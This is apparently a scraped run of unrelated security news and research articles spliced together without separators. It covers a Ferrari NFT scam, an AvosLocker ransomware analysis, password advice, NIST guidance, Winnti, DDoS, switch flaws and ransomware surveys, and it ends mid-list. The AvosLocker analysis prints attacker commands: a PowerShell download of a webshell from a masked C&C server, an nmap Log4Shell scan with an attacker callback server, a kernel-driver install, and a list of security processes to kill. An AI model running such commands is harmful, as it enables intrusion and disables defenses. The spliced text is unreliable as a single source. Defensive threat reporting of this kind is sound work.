One of Ferrari’s subdomains was hijacked yesterday to host a scam promoting fake Ferrari NFT collection, according to researchers.
What makes the scam particularly interesting is the fact that the luxury carmaker had earlier announced plans to launch NFTs in partnership with tech firm Velas.
The Ethereum wallet associated with the cryptocurrency scam appears to have collected a few hundred dollars before the hacked subdomain was shut down.
Ferrari’s site featured ‘Mint your Ferrari’ crypto scam
On Thursday, ethical hacker and bug bounty hunter Sam Curry reported seeing one of Ferrari’s subdomains forms.ferrari.com hosting a fake NFT (Non-Fungible Token) scam.
An NFT, or Non-Fungible Token, is data stored on a cryptocurrency blockchain that a digital certificate has signed to prove that it is unique and cannot be copied.
Last year, Ferrari announced plans to launch NFT products in partnership with tech firm Velas, making this scam all very convincing.
The crypto scam titled “Mint your Ferrari” enticed visitors to buy NFT tokens, falsely touting that Ferrari introduced “a collection of 4,458 horsepower [sic] NFTs on the Ethereum network.”https://platform.twitter.com/embed/Tweet.html?creatorScreenName=BleepinComputer&dnt=false&embedId=twitter-widget-0&features=eyJ0ZndfZXhwZXJpbWVudHNfY29va2llX2V4cGlyYXRpb24iOnsiYnVja2V0IjoxMjA5NjAwLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X3R3ZWV0X3Jlc3VsdF9taWdyYXRpb25fMTM5NzkiOnsiYnVja2V0IjoidHdlZXRfcmVzdWx0IiwidmVyc2lvbiI6MX19&frame=false&hideCard=false&hideThread=false&id=1522037756754550784&lang=en&origin=https%3A%2F%2Fwww.bleepingcomputer.com%2Fnews%2Fsecurity%2Fferrari-subdomain-hijacked-to-push-fake-ferrari-nft-collection%2F&sessionId=3ea6c8cb6e39f794149bacd26675e44783eff546&siteScreenName=BleepinComputer&theme=light&widgetsVersion=c8fe9736dd6fb%3A1649830956492&width=550px
Additional investigation by Curry and security engineer who goes by the moniker d0nutrevealed that attackers exploited an Adobe Exeprience Manager flaw to hack the subdomain and host their crypto scam.
“After looking a bit deeper… it seems this was an Adobe Experience Manager exploit. You can still find the remnants of the unhacked site by dorking around a bit,” wrote Curry.
BleepingComputer has reached out to Ferrari for comment before publishing and we await a response.
Over $800 collected before domain takedown
Keen-eyed Twitter user root@rebcesp observed the Ethereum wallet had collected a little over $800 of funds ever since the scam went up.https://platform.twitter.com/embed/Tweet.html?creatorScreenName=BleepinComputer&dnt=false&embedId=twitter-widget-1&features=eyJ0ZndfZXhwZXJpbWVudHNfY29va2llX2V4cGlyYXRpb24iOnsiYnVja2V0IjoxMjA5NjAwLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X3R3ZWV0X3Jlc3VsdF9taWdyYXRpb25fMTM5NzkiOnsiYnVja2V0IjoidHdlZXRfcmVzdWx0IiwidmVyc2lvbiI6MX19&frame=false&hideCard=false&hideThread=true&id=1522042363367112704&lang=en&origin=https%3A%2F%2Fwww.bleepingcomputer.com%2Fnews%2Fsecurity%2Fferrari-subdomain-hijacked-to-push-fake-ferrari-nft-collection%2F&sessionId=3ea6c8cb6e39f794149bacd26675e44783eff546&siteScreenName=BleepinComputer&theme=light&widgetsVersion=c8fe9736dd6fb%3A1649830956492&width=550px
The Ethereum wallet address associated with the scam is shown below, with the wallet balance having dropped today to approximately $130, as seen by BleepingComputer.0xD88e1C6EC0a2479258A6d2aB59D9Ae5F2874bC44
Thankfully, Etherscan has flagged the wallet address as reports emerged of suspicious activity linked to the wallet.
BleepingComputer observed the hacked Ferrari subdomain has now been taken down and throws an HTTP 403 error code:
Ferrari Forms subdomain shut down (BleepingComputer)
The mainstream attention garnered by NFTs can be attributed to their rapid adoption by artists selling their digital art for cryptocurrency at popular websites such as Rarible and OpenSea.
It’s tempting to dismiss these crypto scams thinking no one falls for them, but, similar crypto scams have been hugely successful and generated hundreds of thousands of dollars in the past.
We found samples of AvosLockerransomware that makes use of a legitimate driver file to disable anti-virus solutions and detection evasion. While previous AvosLocker infections employ similar routines, this is the first sample we observed from the US with the capability to disable a defense solution using a legitimate Avast Anti-Rootkit Driver file (asWarPot.sys). In addition, the ransomware is also capable of scanning multiple endpoints for the Log4j vulnerability Log4shell using Nmap NSE script.
Infection chain
Figure 1. AvosLocker infection chain
According to our analysis, the suspected entry point is via the Zoho ManageEngine ADSelfService Plus (ADSS) exploit:
Figure 2. The ADSS exploit abusing CVE-2021-40539
Due to the lack of network traffic details, we could not identify the exact CVE ID of the security gap the attacker used. However, there are some indications that they abused the same vulnerability previously documented by Synacktiv during a pentest, CVE-2021-40539. The gap we observed was particularly similar to the creation of JSP files (test.jsp), execution of keytool.exe with “null” parameters to run a crafted Java class/code.
Mapping the infection
The ADSS JAVA component (C:\ManageEngine\ADSelfService Plus\jre\bin\java.exe) executed mshta.exe to remotely run a remotely-hosted HTML application (HTA) file from the attackers’ command and control (C&C) server. Using Trend Micro™ Vision One™, we mapped out the processes that the infection performed to spawn the process.
Figure 3. Remotely executing an HTA file from the C&C server. Screenshots taken from Trend Micro Vison One.Figure 4. HTA file connecting to the C&C
A closer look at the HTA file revealed that the mshta.exe downloads and executes the remotely hosted HTA file. The HTA executed an obfuscated PowerShell script that contains a shellcode, capable of connecting back to the C&C server to execute arbitrary commands.
Figure 5. Obfuscated PowerShell script contains a shellcode
The PowerShell process will download an ASPX webshell from the C&C server using the command < cmd.exe /c powershell -command Invoke-WebRequest -Uri hxxp://xx.xx.xx.xx/subshell.aspx -OutFile /ManageEngine/ADSelfService Plus/webapps/adssp/help/admin-guide >. According to Synacktiv’s research, with this command, the downloaded ASPX webshell is downloaded from a remote IP address and saved to the directory, and still accessible to the attacker. The attackers gathered system information using available tools such as whoami and systeminfo, as well as PowerShell commands.
Figure 6. Gather system information
The code executes on the current domain controller to gather the username information, while the query user information gathers data about user sessions on a Remote Desktop Session Host server, name of the user, session ID, state of the session (either active or disconnected), idle time, date, and time the user logged on.
Figure 7. Executed with the /domain argument to collect username informationFigure 8. query user information for session data
The PowerShell downloads, installs, and allows the remote desktop tool AnyDeskMSI through the firewall.
Figure 9. The PowerShell downloading and installing AnyDeskMSI
We observed that a new user account was created, added to the current domain, and included in the administrator group. This ensures the attacker can have administrative rights to the infected system. The attackers also checked the running processes in the system via TaskList to check for anti-virus processes running in the infiltrated system.
Figure 10. Creating a new account with admin rightsFigure 11. Checking for anti-virus processes running
During the scan, we observed an attempt to terminate security products initiated via TaskKill. Testing the sample with Trend Micro Vision One, the attempt failed as its sensors were still able to send activity data to the platform.
Figure 12. Terminating security products running
Tools and functions
Additional tools and components were copied to the compromised machine using AnyDeskMSI to scan the local network and disable security products. The tools transferred using AnyDesk are:
Netscan: To scan for other endpoints
Nmap (log4shell.nse): To scan for Log4shell vulnerable endpoints
Hacking tools Mimikatz and Impacket: For lateral movement
PDQ deploy: For mass deployment of malicious script to multiple endpoints
Aswarpot.sys: For disabling defense solutions. We noted that it can disable a number of anti-virus products, previously identified by Aon’s researchers.
Figure 13. Copying tools and other malicious components to the compromised machine using AnyDesk
We found an Avast anti-rootkit driver installed as service ‘asWarPot.sys’ using the command sc.exe create aswSP_ArPot2 binPath= C:\windows\aswArPot.sys type= kernel. It installs the driver file in preparation for disabling the running anti-virus product. We noted the unusual use of cmd.exe for execution of the file.
Figure 14. Executing the anti-rootkit driver in the system
Mimikatz components were also copied to the affected machine via AnyDeskMSI. However, these components were detected and deleted.
Figure 15. Detecting and deleting Mimikatz
We observed the PowerShell script disabling the security products by leveraging aswarpot.sys (a legitimate Avast Anti-Rootkit Driver). A list of security product processes was supplied and subsequently terminated by the driver.
Figure 16. Listing and terminating the security products found running in the compromised system
Verification: Manual replication of anti-virus disabling routine
We manually replicated the routine and commands for disabling the defense solutions to further look into the routine. Figure 17 shows the list of processes that the routine searches on infection :
EndpointBasecamp.exe
Trend Micro Endpoint Basecamp
ResponseService.exe
PccNTMon.exe
SupportConnector.exe
AOTAgent.exe
CETASvc.exe
CETASvc
iVPAgent.exe
tmwscsvc.exe
TMResponse
AOTAgentSvc
TMBMServer
iVPAgent
Trend Micro Web Service Communicator
Tmccsf
Tmlisten
Ntrtscan
TmWSCSvc
Figure 17. Searching for processes
We found that aswArPot.sys, registered as aswSP_ArPot2 as a service, is used as the handle for the following DeviceIoControl call.
Figure 18. Driver file preparing to disable an anti-virus product
The DeviceIoControl function is used to execute parts of the driver. In this case, the DeviceIoControl is inside a loop that iterates through the list of processes mentioned above. Additionally, we can see that 0x9988C094 is passed to DeviceIoControl as an argument simultaneous to the ID of the current process in the iteration.
Figure 19. DeviceIoControl as an argument with the current process ID
Inside aswArPot.sys, we saw 0x9988C094 in a switch case with a function sub_14001DC80 case. Inside function sub_14001DC80, we can see that that function has the capability to terminate a given process.
Figure 20. 0x9988C094 in a switch case with sub_14001DC80 (above), with the latter value terminating a process (below).
Other executions and lateral movement
After disabling the security products, the actors behind AvosLocker again tried to transfer other tools, namely Mimikatz and Impacket.
Figure 21. Execution of Mimikatz (above) and Impacket via C:\temp\wmiexec.exe (below)
We also observed the execution of a password recovery tool XenArmor with C:\temp\pass\start.exe.
We observed the attackers using an NMAP script to check for Log4shell, the Apache Log4j remote code execution (RCE, with ID CVE-2021-44228) vulnerability across the network. They used the command nmap –script log4shell.nse –script-args log4shell.waf-bypass=true –script-args log4shell.callback-server=xx.xx.xx.xx:1389 -p 80,443 xx.xx.xx.xx/xx, and set the callback server to the attacker group C&C server.
Figure 23. Checking for log4shell
We also observed more system network configuration discovery techniques being run, possibly for lateral movement as it tried looking for other available endpoints.
Figure 24. Running more system network configuration discovery scans
Deploying across the network
We saw software deployment tool PDQ being used to deploy malicious batch scripts to multiple endpoints in the network.
Figure 25. Deploying malicious batch scripts to other endpoints
The deployed batch script has the following commands:
Disable Windows Update and Microsoft Defender
Figure 26. Disable Microsoft defense services
Prevents safeboot execution of security products
Figure 27. Prevent security products’ execution
Create new administrator account
Figure 28. Create new account
Add the AutoStart mechanism for the AvosLocker executable (update.exe)
Figure 29. Add Autostart for ransomware executable
Disables legal notice caption
Figure 30. Disable legal notice
Set safeboot with networking and disables Windows Error Recovery and reboot
Figure 31. Setting and disabling network and specific Windows functions
Conclusion
While AvosLocker has been documented for its abuse of AnyDesk for lateral movement as its preferred application, we note that other remote access applications can also be abused to replace it. We think the same can be said for the software deployment tool, wherein the malicious actors can subsequently decide to replace and abuse it with other commercially available ones. In addition, aside from its availability, the decision to choose the specific rootkit driver file is for its capability to execute in kernel mode (therefore operating at a high privilege).
This variant is also capable of modifying other details of the installed security solutions, such as disabling the legal notice. Other modern ransomware, such as Mespinoza/Pysa, modify the registries of infected systems during their respective routines to inform their victims that they have been compromised.
Similar to previously documented malware and ransomware groups, AvosLocker takes advantage of the different vulnerabilities that have yet to be patched to get into organizations’ networks. Once inside, the continuing trend of abusing legitimate tools and functions to mask malicious activities and actors’ presence grows in sophistication. In this case, the attackers were able to study and use Avast’s driver as part of their arsenal to disable other vendors’ security products.
However, and specific to this instance, the attempt to kill an anti-virus product such as this variant’s TaskKill can also be foiled. In this example using Trend Micro Vision One, the attempt was unsuccessful likely due to the product’s self-protection feature, which allowed the sensors to continue sending data and block the noted routine. The visibility enabled by the platform allowed us as researchers to capture the extent of this ransomware’s attack chain and replicate the driver file being abused to verify its function during compromise.
Avast responded to our notification with this statement:
“We can confirm the vulnerability in an old version of our driver aswArPot.sys, which we fixed in our Avast 21.5 released in June 2021. We also worked closely with Microsoft, so they released a block in the Windows operating system (10 and 11), so the old version of the Avast driver can’t be loaded to memory.
The below example shows that the blocking works (output from the “sc start” command):
(SC) StartService FAILED 1275:
This driver has been blocked from loading
The update from Microsoft for the Windows operating system was published in February as an optional update, and in Microsoft’s security release in April, so fully updated machines running Windows 10 and 11 are not vulnerable to this kind of attack.
All consumer and business antivirus versions of Avast and AVG detect and block this AvosLocker ransomware variant, so our users are protected from this attack vector.
For users of third-party antivirus software, to stay protected against this vulnerability, we recommend users to update their Windows operating system with the latest security updates, and to use a fully updated antivirus program.”
Did you know that May 5, 2022, is World Password Day?1 Created by cybersecurity professionals in 2013 and designated as the first Thursday every May, World Password Day is meant to foster good password habits that help keep our online lives secure. It might seem strange to have a day set aside to honor something almost no one wants to deal with—like having a holiday for filing your income taxes (actually, that might be a good idea). But in today’s world of online work, school, shopping, healthcare, and almost everything else, keeping our accounts secure is more important than ever. Passwords are not only hard to remember and keep track of, but they’re also one of the most common entry points for attackers. In fact, there are 921 password attacks every second—nearly doubling in frequency over the past 12 months.2
But what if you didn’t have to deal with passwords at all? Last fall, we announced that anyone can completely remove the password from their Microsoft account. If you’re like me and happy to ditch passwords completely, read on to learn how Microsoft is making it possible to start enjoying a passwordless life today. Still, we know not everyone is ready to say goodbye to passwords, and it’s not possible for all your online accounts. We’ll also go over some easy ways to improve your password hygiene, as well as share some exciting news from our collaboration with the FIDO Alliance about a new way to sign in without a password.
Free yourself with passwordless sign-in
Yes, you can now enjoy secure access to your Microsoft account without a password. By using the Microsoft Authenticator app, Windows Hello, a security key, or a verification code sent to your phone or email, you can go passwordless with any of your Microsoft apps and services. Just follow these five steps:
Choose Security. Under Advanced security options, you’ll see Passwordless account in the section titled Additional security.
Select Turn on.
Approve the notification from Authenticator.
Once you approve the notification, you’ll no longer need a password to access your Microsoft accounts. If you decide you prefer using a password, you can always go back and turn off the passwordless feature. Here at Microsoft, nearly 100 percent of our employees use passwordless options to log into their corporate accounts.
Strengthen security with multifactor authentication
One simple step we can all take to protect our accounts today is adding multifactor authentication, which blocks 99.9 percent of account compromise attacks. The Microsoft Authenticator app is free and provides multiple options for authentication, including time-based one-time passcodes (TOTP), push notifications, and passwordless sign-in—all of which work for any site that supports multifactor authentication. Authenticator is available for Android and iOS and gives you the option to turn two-step verification on or off. For your Microsoft Account, multifactor authentication is usually only needed the first time you sign in or after changing your password. Once your device is recognized, you’ll just need your primary sign-in.
Make sure your password isn’t the weak link
Rather than keeping attackers out, weak passwords often provide a way in. Using and reusing simple passwords across different accounts might make our online life easier, but it also leaves the door open. Attackers regularly scroll social media accounts looking for birthdates, vacation spots, pet names and other personal information they know people use to create easy-to-remember passwords. A recent study found that 68 percent of people use the same password for different accounts.3 For example, once a password and email combination has been compromised, it’s often sold on the dark web for use in additional attacks. As my friend Bret Arsenault, our Chief Information Security Officer (CISO) here at Microsoft, likes to say, “Hackers don’t break in, they log in.”
Some basics to remember—make sure your password is:
At least 12 characters long.
A combination of uppercase and lowercase letters, numbers, and symbols.
Not a word that can be found in a dictionary, or the name of a person, product, or organization.
Completely different from your previous passwords.
Changed immediately if you suspect it may have been compromised.
Tip: Consider using a password manager. Microsoft Edge and Microsoft Authenticator can create (and remember) strong passwords using Password Generator, and then automatically fill them in when accessing your accounts. Also, keep these other tips in mind:
Only share personal information in real-time—in person or by phone. (Be careful on social media.)
Be skeptical of messages with links, especially those asking for personal information.
Be on guard against messages with attached files, even from people or organizations you trust.
Enable the lock feature on all your mobile devices (fingerprint, PIN, or facial recognition).
Ensure all the apps on your device are legitimate (only from your device’s official app store).
Keep your browser updated, browse in incognito mode, and enable Pop-Up Blocker.
Tip: When answering security questions, provide an unrelated answer. For example, Q: “Where were you born?” A: “Green.” This helps throw off attackers who might use information skimmed from your social media accounts to hack your passwords. (Just be sure the unrelated answers are something you’ll remember.)
Passwordless authentication is becoming commonplace
As part of a historic collaboration, the FIDO Alliance, Microsoft, Apple, and Google have announced plans to expand support for a common passwordless sign-in standard. Commonly referred to as passkeys, these multi-device FIDO credentials offer users a platform-native way to safely and quickly sign in to any of their devices without a password. Virtually unable to be phished and available across all your devices, a passkey lets you sign in simply by authenticating with your face, fingerprint, or device PIN.
In addition to a consistent user experience and enhanced security, these new credentials offer two other compelling benefits:
Users can automatically access their passkeys on many of their devices without having to re-enroll for each account. Simply authenticate with your platform on your new device and your passkeys will be there ready to use—protecting you against device loss and simplifying device upgrade scenarios.
With passkeys on your mobile device, you’re able to sign in to an app or service on nearly any device, regardless of the platform or browser the device is running. For example, users can sign in on a Google Chrome browser that’s running on Microsoft Windows, using a passkey on an Apple device.
These new capabilities are expected to become available across Microsoft, Apple, and Google platforms starting in the next year. This type of Web Authentication (WebAuthn) credential represents a new era of authentication, and we’re thrilled to join the FIDO Alliance and others in the industry in supporting a common standard for a safe, consistent authentication experience. Learn more about this open-standards collaboration and exciting passwordless capabilities coming for Microsoft Azure Active Directory in a blog post from Alex Simons, Vice President, Identity Program Management.
To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.
The National Institute of Standards and Technology (NIST) on Thursday released an updated cybersecurity guidance for managing risks in the supply chain, as it increasingly emerges as a lucrative attack vector.
“It encourages organizations to consider the vulnerabilities not only of a finished product they are considering using, but also of its components — which may have been developed elsewhere — and the journey those components took to reach their destination,” NIST said in a statement.
The new directive outlines major security controls and practices that entities should adopt to identify, assess, and respond to risks at different stages of the supply chain, including the possibility of malicious functionality, flaws in third-party software, insertion of counterfeit hardware, and poor manufacturing and development practices.
The development follows an Executive Order issued by the U.S. President on “Improving the Nation’s Cybersecurity (14028)” last May, requiring government agencies to take steps to “improve the security and integrity of the software supply chain, with a priority on addressing critical software.”
It also comes as cybersecurity risks in the supply chain have come to the forefront in recent years, in part compounded by a wave of attackstargetingwidely-used software to breach dozens of downstream vendors all at once.
According to the European Union Agency for Cybersecurity’s (ENISA) Threat Landscape for Supply Chain Attacks, 62% of 24 attacks documented from January 2020 to early 2021 were found to “exploit the trust of customers in their supplier.”
“Managing the cybersecurity of the supply chain is a need that is here to stay,” said NIST’s Jon Boyens and one of the publication’s authors. “If your agency or organization hasn’t started on it, this is a comprehensive tool that can take you from crawl to walk to run, and it can help you do so immediately.”
An elusive and sophisticated cyberespionage campaign orchestrated by the China-backed Winnti group has managed to fly under the radar since at least 2019.
Dubbed “Operation CuckooBees” by Israeli cybersecurity company Cybereason, the massive intellectual property theft operation enabled the threat actor to exfiltrate hundreds of gigabytes of information.
Targets included technology and manufacturing companies primarily located in East Asia, Western Europe, and North America.
“The attackers targeted intellectual property developed by the victims, including sensitive documents, blueprints, diagrams, formulas, and manufacturing-related proprietary data,” the researchers said.
“In addition, the attackers collected information that could be used for future cyberattacks, such as details about the target company’s business units, network architecture, user accounts and credentials, employee emails, and customer data.”
Winnti, also tracked by other cybersecurity vendors under the names APT41, Axiom, Barium, and Bronze Atlas, is known to be active since at least 2007.
“The group’s intent is towards theft of intellectual property from organizations in developed economies, and with moderate confidence that this is on behalf of China to support decision making in a range of Chinese economic sectors,” Secureworks notes in a threat profile of the actor.
The multi-phased infection chain documented by Cybereason involves the exploitation of internet-facing servers to deploy a web shell with the goal of conducting reconnaissance, lateral movement, and data exfiltration activities.
It’s both complex and intricate, following a “house of cards” approach in that each component of the killchain depends on other modules in order to function, rendering analysis exceedingly difficult.
“This demonstrates the thought and effort that was put into both the malware and operational security considerations, making it almost impossible to analyze unless all pieces of the puzzle are assembled in the correct order,” the researchers explained.
The data harvesting is facilitated by means of a modular loader called Spyder, which is used to decrypt and load additional payloads. Also used are four different payloads — STASHLOG, SPARKLOG, PRIVATELOG, and DEPLOYLOG — that are sequentially deployed to drop the WINNKIT, a kernel-level rootkit.
Crucial to the stealthiness of the campaign is the use of “rarely seen” techniques such as the abuse of Windows Common Log File System (CLFS) mechanism to stash the payloads, enabling the hacking group to conceal their payloads and evade detection by traditional security products.
Interestingly, parts of the attack sequence were previously detailed by Mandiant in September 2021, while pointing out the misuse of CLFS to hide second-stage payloads in an attempt to circumvent detection.
The cybersecurity firm attributed the malware to an unknown actor, but cautioned that it could have been deployed as part of a highly targeted activity.
“Because the file format is not widely used or documented, there are no available tools that can parse CLFS log files,” Mandiant said at the time. “This provides attackers with an opportunity to hide their data as log records in a convenient way, because these are accessible through API functions.”
WINNKIT, for its part, has a compilation timestamp of May 2019 and has almost zero detection rate in VirusTotal, highlighting the evasive nature of the malware that enabled the authors to stay undiscovered for years.
The ultimate goal of the intrusions, the researchers assessed, is to siphon proprietary information, research documents, source code, and blueprints for various technologies.
“Winnti is one of the most industrious groups operating on behalf of Chinese state-aligned interests,” Cybereason said. “The threat [actor] employed an elaborate, multi-stage infection chain that was critical to enabling the group to remain undetected for so long.”
Cloudflare on Wednesday disclosed that it acted to mitigate a 15.3 million request-per-second (RPS) distributed denial-of-service (DDoS) attack. The web infrastructure and website security company called it one of the “largest HTTPS DDoS attacks on record.”
“HTTPS DDoS attacks are more expensive in terms of required computational resources because of the higher cost of establishing a secure TLS encrypted connection,” Cloudflare’s Omer Yoachimik and Julien Desgats said. “Therefore it costs the attacker more to launch the attack, and for the victim to mitigate it.”
The volumetric DDoS attack is said to have lasted less than 15 seconds and targeted an unnamed Cloudflare customer operating a crypto launchpad.
Volumetric DDoS attacks are designed to overwhelm a target network/service with significantly high volumes of malicious traffic, which typically originate from a botnet under a threat actor’s control.
Cloudflare said the latest attack was launched from a botnet consisting of roughly 6,000 unique compromised devices, with 15% of the attack traffic emanating from Indonesia, followed by Russia, Brazil, India, Colombia, and the U.S.
“What’s interesting is that the attack mostly came from data centers,” Yoachimik and Desgats noted. “We’re seeing a big move from residential network Internet Service Providers (ISPs) to cloud compute ISPs.”
Record-setting DDoS attacks have become increasingly common in recent months. In August 2021, Cloudflare disclosed what it characterized as the largest application-layer attack ever seen, and, earlier this year, Microsoft revealed that it had prevented multiple DDoS attacks that crossed 2.4 terabits per second (Tbps).
In addition, cybersecurity firm Kaspersky revealed this week that the number of DDoS attacks hit an all-time high in the first quarter of 2022, jumping 4.5 times year-over-year, largely driven by Russia’s invasion of Ukraine.
“The DDoS attack landscape in Q1 was strongly influenced by the geopolitical situation: since the end of February, we have seen a surge in hacktivist activity and the emergence of a large number of spontaneous botnets that users connected to voluntarily,” the Russian company said.
Cybersecurity researchers have detailed as many as five severe security flaws in the implementation of TLS protocol in several models of Aruba and Avaya network switches that could be abused to gain remote access to enterprise networks and steal valuable information.
The findings follow the March disclosure of TLStorm, a set of three critical flaws in APC Smart-UPS devices that could permit an attacker to take over control and, worse, physically damage the appliances.
IoT security firm Armis, which uncovered the shortcomings, noted that the design flaws can be traced back to a common source: a misuse of NanoSSL, a standards-based SSL developer suite from Mocana, a DigiCert subsidiary.
The new set of flaws, dubbed TLStorm 2.0, renders Aruba and Avaya network switches vulnerable to remote code execution vulnerabilities, enabling an adversary to commandeer the devices, move laterally across the network, and exfiltrate sensitive data.
Affected devices include Avaya ERS3500 Series, ERS3600 Series, ERS4900 Series, and ERS5900 Series as well as Aruba 5400R Series, 3810 Series, 2920 Series, 2930F Series, 2930M Series, 2530 Series, and 2540 Series.https://player.vimeo.com/video/704230226?h=6c3f78c718&byline=0&portrait=0
Armis chalked up the flaws to an “edge case,” a failure to adhere to guidelines pertaining to the NanoSSL library that could result in remote code execution. The list of bugs is as follows –
CVE-2022-23676 (CVSS score: 9.1) – Two memory corruption vulnerabilities in the RADIUS client implementation of Aruba switches
CVE-2022-23677 (CVSS score: 9.0) – NanoSSL misuse on multiple interfaces in Aruba switches
HTTP POST request handling heap overflow vulnerability in a discontinued Avaya product line (no CVE)
Even more concerningly, the vulnerabilities found in Avaya switches are zero-click, meaning they can be activated via unauthenticated network packets without any user interaction.
“These research findings are significant as they highlight that the network infrastructure itself is at risk and exploitable by attackers, meaning that network segmentation alone is no longer sufficient as a security measure,” Barak Hadad, head of research in engineering at Armis, said.
Organizations deploying impacted Avaya and Aruba devices are highly recommended to apply the patches to mitigate any potential exploit attempts.
A quick note for administrators and users who use the Trend Micro Apex One product and at the same time use Microsoft Edge as a browser under Windows. I have now received numerous reports on the blog that Trend Micro Apex One is classifying the msedge_200_percent.pak file from Edge 101.0.1210.32 as malware/trojan. This is a false positive.
Microsoft Edge 101.0.1210.32
Microsoft has updated the Chromium Edge browser to version Edge 101.0.1210.32 as of April 28, 2022. This is a maintenance update that closes the two vulnerabilities CVE-2022-29146(privilege elevation) and CVE-2022-29147 (information retrieval) (see also the release notes for the new version). In addition, a number of CVEs that have already been fixed in Google Chrome have also been included in the Edge update. I had reported on this in the blog post Microsoft Edge 101.0.1210.32.
hat zum 28. April 2022 den Chromium-Edge Browser auf die Version Edge 101.0.1210.32 aktualisiert. Es handelt sich um ein Wartungsupdate, das die beiden Schwachstellen (Privilegienerhöhung) und (Abrufen von Informationen) schließt (siehe auch die Release Notes-Seite zur neuen Version). Zudem wurden eine Reihe CVEs, die bereits im Google Chrome gefixt wurden, auch im Edge-Update berücksichtigt. Ich hatte im Blog-Beitrag Microsoft Edge 101.0.1210.32 Sicherheitsupdate darüber berichtet.
Trend Micro Apex One false positive alarm
Since today, May 3, 2022, I’ve been getting more and more feedback from administrators on my blog about Trend Micro’s Apex One security solution raising a false alarm and supposedly detecting a Trojan. The first German comment here already describes the situation:
The update causes a false positive on Trend Micro Apex One!
All of our client agents are currently alerting on the automatic update, pointing to the following file:
We are currently analyzing the incident and therefore we cannot give exact information about it yet.
The whole thing is confirmed by other administrators. The file msedge_200_percent.pak from Edge 101.0.1210.32 is reported as “TROJ_FRS.VSNTE222”. Reader Thomas uploaded the file to Virustotal. Only Trend Micro recognizes it as a virus. Peter L. reports here that also the registry entry:
The whole thing is also confirmed by numerous users there. One user there confirmed that the malware team was informed about the false alarm and was working on an update.
Hi Team,
Our Malware Team are already aware of these False Alarms and is currently checking the issue. Will provide an update once we receive new feedbacks.
Best regards,
Paulo Obrero
Customer Service Engineer
Trend Micro Inc.
All that remains is to wait until the update arrives – and in the meantime to declare the file in question as an exception.
Today Sophos has released the State of Ransomware 2022, its annual study of the real-world ransomware experiences of IT professionals working at the frontline around the globe.
The study has revealed an ever more challenging attack environment together with the growing financial and operational burden ransomware places on its victims. It also shines new light on the relationship between ransomware and cyber insurance, and the role insurance is playing in driving changes to cyber defenses.
This year, 5,600 IT professional from 31 countries participated in the research, with 965 sharing details of ransom payments made. Key findings include:
Ransom attacks are more frequent – 66% of organizations surveyed were hit with ransomware in 2021, up from 37% in 2020
Ransom payments are higher – In 2021, 11% of organizations said they paid ransoms of $1 million or more, up from 4% in 2020, while the percentage of organizations paying less than $10,000 dropped to 21% from 34% in 2020. Overall, the average ransom paid by organizations that had data encrypted in their most significant ransomware attack, increased nearly fivefold to reach $812,360
More victims are paying the ransom – In 2021, 46% of organizations that had data encrypted in a ransomware attack paid the ransom. Twenty-six percent of organizations that were able to restore encrypted data using backups in 2021 also paid the ransom
The impact of a ransomware attack can be immense – The average cost to recover from the most recent ransomware attack in 2021 was $1.4 million. It took on average one month to recover from the damage and disruption. 90% of organizations said the attack had impacted their ability to operate, and 86% of private sector victims said they had lost business and/or revenue because of the attack
Many organizations rely on cyber insurance to help them recover from a ransomware attack – 83% of mid-sized organizations had cyber insurance that covers them in the event of a ransomware attack
Cyber insurance almost always pays out – In 98% of incidents where the victim had cyber insurance that covered ransomware, the insurer paid some or all the costs incurred (with 40% overall covering the ransom payment)
94% of those with cyber insurance said that their experience of getting it has changed over the last 12 months, with higher demands for cybersecurity measures, more complex or expensive policies and fewer organizations offering insurance protection
“The findings suggest we may have reached a peak in the evolutionary journey of ransomware, where attackers’ greed for ever higher ransom payments is colliding head on with a hardening of the cyber insurance market as insurers increasingly seek to reduce their ransomware risk and exposure,” said Chester Wisniewski, principal research scientist at Sophos.
“In recent years, it has become increasingly easy for cybercriminals to deploy ransomware, with almost everything available as-a-service. Second, many cyber insurance providers have covered a wide range of ransomware recovery costs, including the ransom, likely contributing to ever higher ransom demands. However, the results indicate that cyber insurance is getting tougher and in the future ransomware victims may become less willing or less able to pay sky high ransoms. Sadly, this is unlikely to reduce the overall risk of a ransomware attack. Ransomware attacks are not as resource intensive as some other, more hand-crafted cyberattacks, so any return is a return worth grabbing and cybercriminals will continue to go after the low hanging fruit.”
Sophos commissioned research agency Vanson Bourne to conduct an independent, vendor-agnostic survey of 5,600 IT professionals in mid-sized organizations (100-5,000 employees) across 31 countries. The survey was conducted during January and February 2022, and respondents were asked to respond based on their experiences over the previous year. Respondents were from Australia, Austria, Belgium, Brazil, Canada, chile, Colombia, Czech Republic, France, Germany, Hungary, India, Israel, Italy, Japan, Malaysia, Mexico, Netherlands, Nigeria, Philippines, Poland, Saudi Arabia, Singapore, South Africa, Spain, Sweden, Switzerland, Turkey, UAE, UK, and US.
Latest tools, tactics, and procedures being used by the Hive, Conti, and AvosLocker ransomware operations.
Targeted ransomware attacks continue to be one of the most critical cyber risks facing organizations of all sizes. The tactics used by ransomware attackers are continually evolving, but by identifying the most frequently employed tools, tactics, and procedures (TTPs) organizations can gain a deeper understanding into how ransomware groups infiltrate networks and use this knowledge to identify and prioritize areas of weakness.
Symantec, a division of Broadcom Software, tracks various ransomware threats; however, the following three ransomware families are being observed in the majority of recent attacks:
Hive
Conti
Avoslocker
Similar to many other ransomware families, Hive, Conti, and Avoslocker follow the ransomware-as-a-service (RaaS) business model. In the RaaS model the ransomware operators hire affiliates who are responsible for launching the ransomware attacks on their behalf. In most cases affiliates stick to a playbook that contains detailed attack steps laid out by the ransomware operators.
Once initial access to a victim network has been gained, Hive, Conti, and Avoslocker use a plethora of TTPs to help the operators achieve the following:
Gain persistence on the network
Escalate privileges
Tamper with and evade security software
Laterally move across the network
Initial Access
Affiliates for the Hive, Conti, and Avoslocker ransomware operators use a variety of techniques to gain an initial foothold on victim networks. Some of these techniques include:
Spear phishing leading to the deployment of malware, including but not limited to:
IcedID
Emotet
QakBot
TrickBot
Taking advantage of weak RDP credentials
Exploiting vulnerabilities such as:
Microsoft Exchange vulnerabilities – CVE-2021-34473, CVE-2021-34523, CVE-2021-31207, CVE-2021-26855
FortiGate firewall vulnerabilities – CVE-2018-13379 and CVE-2018-13374
Apache Log4j vulnerabily – CVE-2021-44228
